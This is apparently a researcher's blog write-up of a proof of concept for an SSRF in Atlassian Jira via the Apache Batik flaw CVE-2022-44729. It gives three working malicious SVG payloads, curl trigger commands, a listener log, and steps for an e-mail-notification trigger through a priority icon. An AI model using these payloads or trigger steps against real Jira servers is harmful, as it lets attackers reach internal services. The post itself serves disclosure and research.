CVE-2022-44729 PoC for Atlassian Jira SSRF due to Apache Batik vulnerabilites

Here is my Proof of Concept for a SSRF in Atlassian Jira via three different SVG tags and two possible triggers in Jira.

AtlassianSecurity Bulletin - January 16 2024 points to some 3rd-party updates, e.g. CVE-2022-44729 in Apache Batik with a SSRF issue.

I was not able to upload a file into Jira /images path with usage of admin webservice nor as user account.
But if the malicious SVG is placed by an admin in Jira /images path, the SSRF can be triggered by:

  1. an unauthenticated user by calling the URL
  2. an authenticated user by e-mail notification

Ok let’s start, take a closer look. Ohh! There are a lot of SSRF issues in Batik vulnerability advisory.
I found a write-up at zerodayinitiative blog. from Piotr Bazydło in Oct. 2022. Great details, thank you for that.

I’m using latest V9.4.15 LTS, am I’m safe? NO!!!
That’s the main reason, why I worked on the blog entry
As today 18. January 2024, Batik 1.17 was released at 2023-08-22 and e.g. Jira V9.4.11 LTS from October 2023 up to latest V9.4.15 LTS from 3. January 2024 still contains Batik version 1.14 from 2021-01-20.
Just newest Jira V9.12.2 LTS from 10. January 2024 contains latest Batik version 1.17

In Apache Batik the SSRF is triggered via three SVG tags <image>, <tref> and <use>

cat /opt/atlassian/jira/atlassian-jira/images/SSRF_image.svg

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="450" height="500" viewBox="0 0 450 500">
	<text x="100" y="100" font-size="45" fill="blue" >
		image xlink:href SSRF attack
	</text>
    	<image width="50" height="50" xlink:href="jar:http://127.0.0.1:8067/some-internal-resource?poc_triggered_tag=image!/"></image>
</svg>

cat /opt/atlassian/jira/atlassian-jira/images/SSRF_tref.svg

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="450" height="500" viewBox="0 0 450 500">
	<text x="100" y="200" font-size="45" fill="red">
		text tref xlink:href SSRF attack
		<tref xlink:href="jar:http://127.0.0.1:8067/some-internal-resource?poc_triggered_tag=tref!/"/>
	</text>
</svg>

cat /opt/atlassian/jira/atlassian-jira/images/SSRF_use.svg

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="450" height="500" viewBox="0 0 450 500">
	<text x="100" y="100" font-size="45" fill="blue" >
		use xlink:href SSRF attack
	</text>
	<use xlink:href="jar:http://127.0.0.1:8067/some-internal-resource?poc_triggered_tag=use!/"/>
</svg>

In all cases I want to reach an internal system on port 8067.

Long Jira research, short goal:

There is an AvatarTranscoder.class, which uses Apache Batik, but don’t get confused about “Avatar”. Due to the fact, that Jira user avatar and issue type can’t be a custom SVG, this is not usable.
Spoiler after blog update: Issue priority icon ;-)

There are three classes which are using AvatarTranscoder:

com.atlassian.jira.component.pico.registrar.ContainerRegistrar
com.atlassian.jira.mail.util.MailAttachments
com.atlassian.jira.web.filters.SvgToPngTranscoderFilter

Day 1
I was not able to setup a mail notification which includes the issue attachement.content, because Jira does not support it. –> See below the new status result for e-mail inline image attachements.
No avatar nor icon SVG, no mail attachement.
Time for frustration.

Take some sleep, back on track…
Day 2

Analysing first trigger

Why do they offer SvgToPngTranscoderFilter.class and what is it doing? The class name is great!

  ....
  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
      ....
      ByteArrayInputStream svgInputStream = new ByteArrayInputStream(svgBytes);
      Optional<AvatarTranscoder> avatarTranscoder = getAvatarTranscoder();
      byte[] pngBytes = ((AvatarTranscoder)avatarTranscoder.<Throwable>orElseThrow(() -> new ServletException("AvatarTranscoder is not present"))).transcodeAndTag(request.getServletPath(), svgInputStream, size); // [1]
      response.setContentLength(pngBytes.length);
      response.setContentType("image/png");
      ....
  }
  ....

  private boolean needsTranscoding(HttpServletRequest request) {
    if (request.getServletPath().endsWith(".svg")) {
      String format = request.getParameter("format");   // [2]
      return (StringUtils.isNotBlank(format) && "PNG".equals(format.toUpperCase()));
    } 
    return false;
  }

AvatarTranscoder.transcodeAndTag() [1] is called, if query parameter format=png [2] is given.

We keep in mind the transcodeAndTag() for e-mail inline attachements…..

Checking they /opt/atlassian/jira/atlassian-jira/WEB-INF/web.xml

    <filter>
        <filter-name>svg-to-png-transcoder</filter-name>
        <filter-class>com.atlassian.jira.web.filters.SvgToPngTranscoderFilter</filter-class>
    </filter>
    ....
   <filter-mapping>
        <filter-name>svg-to-png-transcoder</filter-name>
        <url-pattern>/images/*</url-pattern>
    </filter-mapping>

Start browser, open Dev-console, login into Jira page. There are some SVG images located in /images/
Try to get the file wget http://localhost:8080/images/jira-software.svg

....
Länge: 9743 (9,5K) [image/svg+xml]

cat jira-software.svg
<?xml version="1.0" encoding="UTF-8"?>
<svg width="158px" height="30px" viewBox="0 0 158 30" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">

I’m excited when it’s what I think it is by using query parameter “?format=png

wget http://localhost:8080/images/jira-software.svg?format=png
cat jira-software.svg\?format\=png

�PNG

Ok, the SVG was converted to PNG :-)

Placing my SSRF SVG images on the server, for this simple PoC they needs to be located in /opt/atlassian/jira/atlassian-jira/images/

ok let’s call them

curl -o NUL http://localhost:8080/images/SSRF_image.svg?format=png
curl -o NUL http://localhost:8080/images/SSRF_tref.svg?format=png
curl -o NUL http://localhost:8080/images/SSRF_use.svg?format=png

My python simple server gets the requests

python3 -m http.server 8067
Serving HTTP on 0.0.0.0 port 8067 (http://0.0.0.0:8067/) ...

127.0.0.1 - - [24/Jan/2024 11:46:33] "GET /some-internal-resource?poc_triggered_tag=image HTTP/1.1" 404 -
127.0.0.1 - - [24/Jan/2024 11:46:45] "GET /some-internal-resource?poc_triggered_tag=tref HTTP/1.1" 404 -
127.0.0.1 - - [24/Jan/2024 11:46:51] "GET /some-internal-resource?poc_triggered_tag=use HTTP/1.1" 404 -

BINGO nr. 1!

If host and port is not reachable, there will be an immediate HTTP 500 error. Otherwise it depends. My remote netcat listener keeps open the connection and my python simple server will answer with HTTP 404.

Take some more sleep, back on track…
Day 3

Analysing second trigger

Because the first PoC is possible only with admin/root filesystem write access, the challenge is accepted to trigger the SSRF as user with an issue attachment. (But did not win)
Back on com.atlassian.jira.mail.util.MailAttachments because I already had mails with attachements in past.

MailAttachments.class

  public static MailAttachment newImageAttachment(String imagePath, AvatarTranscoder avatarTranscoder) {
    ServletContext servletContext = ServletContextProvider.getServletContext();
    String mimeType = servletContext.getMimeType(imagePath);
    if (!AvatarManagerImpl.isSvgContentType(mimeType))                  // [1]
      return new ImageAttachment(imagePath); 
    return new TranscodedImageAttachment(imagePath, avatarTranscoder);  // [2]
  }
  ....
  private static class TranscodedImageAttachment extends ImageAttachment {
    private final AvatarTranscoder avatarTranscoder;                    // [3]
    
    public TranscodedImageAttachment(String imagePath, AvatarTranscoder avatarTranscoder) {
      super(imagePath);
      this.avatarTranscoder = avatarTranscoder;
    }
    
    protected CloseableResourceData getResourceData() throws MessagingException, IOException {
      ServletContext servletContext = ServletContextProvider.getServletContext();
      try(InputStream resourceStream = servletContext.getResourceAsStream(this.imagePath); 
          ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
        String mimeType = MediaType.PNG.toString();
        this.avatarTranscoder.transcodeAndTag(resourceStream, outputStream);   // [4]
        return new CloseableResourceData(new ByteArrayInputStream(outputStream.toByteArray()), mimeType);
      } 
    }
  }

If the image is SVG [1] use class TranscodedImageAttachment [2] which uses AvatarTranscoder [4] and finally we have again transcodeAndTag()[4] called.
That’s the simple chain? But how?

Take a look at MailAttachmentsManagerImpl.class

  public String getImageUrl(String path) {
    if (isInternalResource(path))                                     // [1]    
      return addAttachmentAndReturnCid(MailAttachments.newImageAttachment(path, this.avatarTranscoder)); // [2]
    String absoluteUrl = getAbsoluteUrl(path);
    if (shouldAddJwtToken() && isSecuredThumbnailOrAttachment(path))  // [3]
      return addJwtTokenTo(absoluteUrl);                              // [4]
    return absoluteUrl;
  }

  ....

  private String addJwtTokenTo(String absoluteUrl) {
    ImageAttachmentJwtTokenGenerateParams jwtTokenGenerateParams = (new JwtGenerateTokenParametersBuilder()).setHowManyHoursValid(this.imageAttachmentJwtTokenService.getTokenExpiryHours()).setAbsoluteRequestUrl(absoluteUrl).setUserName(this.recipientUserName).build();
    try {
      String token = this.imageAttachmentJwtTokenService.generateToken(jwtTokenGenerateParams);
      return absoluteUrl + "?imgAttachmentToken=" + token;               // [5]
    } catch (Exception e) {
      log.error("Could not generate JWT token for image attachment. This will not stop from sending an email, but JWT token will not be attached", e);
      return absoluteUrl;
    } 
  }

If and only if the given path is an internal resource [1] the MailAttachments method newImageAttachment() [2] is called.
Otherwise all other images, here issue attachments, gets added a JWT token (“Jira Security token”) [3] as query parameter imgAttachmentToken in [4] & [5]

That’s the chain to get the trigger?

Ok, but how to trigger?
First of all, HTML e-mail format needs to be active in Jira.
Create, update or comment an issue, attach the malicious SVG by drag & drop.
Write down:
1. Force an e-mail notification by mention a user with @jira_user or [~jira_user]
2. create inline attachement with notation format: !^SSRF_image.svg!
The “^” is the key ;-) !!!

But… I could not trigger the SSRF yet :-(
ARGH, I’m so close to the finish line!

I took another nap and added some logging debug outputs and updated the call flow above. Root cause why my user attachment did not the trick is the check if (isInternalResource(path))
Day 4

The final way to trigger the SSRF via e-mail notification is possible, once again, only with admin/root filesystem write access.
Put the malicious SVG into Jira /images filesystem path on console. Modify the issue priority icon, there is no upload function, but enter as location http://localhost:8080/images/SSRF_image.svg

1. Create, update or comment an issue
2. Select priority with modified icon
3. Force an e-mail notification by mention a user with @jira_user or [\~jira_user]
4. Wait some seconds.

BINGO nr. 2!

Even if the Apache Batik vulnerability is only possible through the preparations of an admin, it was a pleasure for me to find the two triggers in Jira.

Calling of e-mail inline image attachement is not required for the trigger, that’s done during build of e-mail content.

Just for fun some facts for that feature, because I saw the code already.
How to verify, that the e-mail inline attachement feature was really used?
Received e-mail HTML source code shows the Jira security token as imgAttachmentToken:

<img src="http://localhost:8080/secure/attachment/10500/10500_SSRF_image.svg?imgAttachmentToken=3DeyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImFic1JlcXVlc3RVcmwiOiJodHRwOlwvXC9sb2NhbGhvc3Q6ODA4MFwvc2VjdXJlXC9hdHRhY2htZW50XC8xMDUwMFwvMTA1MDBfU1NSRl91c2Uuc3ZnIiwiZXhwIjoxNzA2NzExMDM0LCJpYXQiOjE3MDYxMDYyMzR9.YN83KpSbrTI7_qJASwl8gJ4GCqR6hHv55IsBHzWCho4"

Reverse search for imgAttachmentToken hits AbstractViewFileServlet.class

  ....
  protected void checkRequesterIsPermittedToViewTheAttachment(Attachment attachment, HttpServletRequest request, String exceptionMessage) throws PermissionException {
    if (isUserLoggedIn()) {                // [1]
      if (!isLoggedInUserPermittedToViewAttachment(attachment))
        if (shouldUseJwtTokenWhenAttachmentNotFound(attachment, request)) {
          if (!isJwtTokenUserPermittedToViewAttachment_andSendAnalyticsEvent(request, attachment))
            throw new JwtAttachmentPermissionException(exceptionMessage); 
        } else {
          throw new PermissionException(exceptionMessage);
        }  
    } else if (!isAnonymousUserPermittedToViewAttachment(attachment)) {  // [2]
      if (shouldUseJwtTokenWhenAttachmentNotFound(attachment, request)) {  // [3]
        if (!isJwtTokenUserPermittedToViewAttachment_andSendAnalyticsEvent(request, attachment))
          throw new JwtAttachmentPermissionException(exceptionMessage); 
      } else {
        throw new PermissionException(exceptionMessage);
      } 
    } 
  }
  
  private boolean shouldUseJwtTokenWhenAttachmentNotFound(Attachment attachment, HttpServletRequest request) {
    return (((ImageAttachmentJwtTokenService)this.imageAttachmentJwtTokenServiceSupplier.get()).isImageAttachmentJwtTokenEnabled() && attachment
      .isImage() && 
      isImageAttachmentJwtTokenPresent(request));  // [4]
  }
  
  private boolean shouldUseJwtTokenWhenAttachmentNotFound(HttpServletRequest request) {
    return (((ImageAttachmentJwtTokenService)this.imageAttachmentJwtTokenServiceSupplier.get()).isImageAttachmentJwtTokenEnabled() && 
      isImageAttachmentJwtTokenPresent(request));
  }

  ....

  private String getAttachmentJwtToken(HttpServletRequest request) {
    return request.getParameter("imgAttachmentToken");   // [5]
  }
  
  protected boolean isImageAttachmentJwtTokenPresent(HttpServletRequest request) {  {6]
    return (getAttachmentJwtToken(request) != null);
  }

  }

We want to access the attachment URL without login.
In [1] we can be logged in, but we have not the permission for the attachment -> shouldUseJwtTokenWhenAttachmentNotFound() is called with isImageAttachmentJwtTokenPresent() [4].
In [2] we don’t have a valid user login and anonymous user access is not enabled -> shouldUseJwtTokenWhenAttachmentNotFound() is called with isImageAttachmentJwtTokenPresent() [4].
In method isImageAttachmentJwtTokenPresent() [6] we get the query parameter imgAttachmentToken [5].
This security token is used to access the attachement without authorization.
But….. this feature did not work for me.
End

Thank you for reading. The Batik vulnerabilites CVEs are not my credit, but the work on the PoC exploit in Jira is powered by psytester, this post was only for my private fun. ;-)

Screens Gif showing the SSRF

Disclaimer

The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

The contents of this advisory are copyright (c) 2024 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

Written on January 18, 2024 | Last modified on January 25, 2024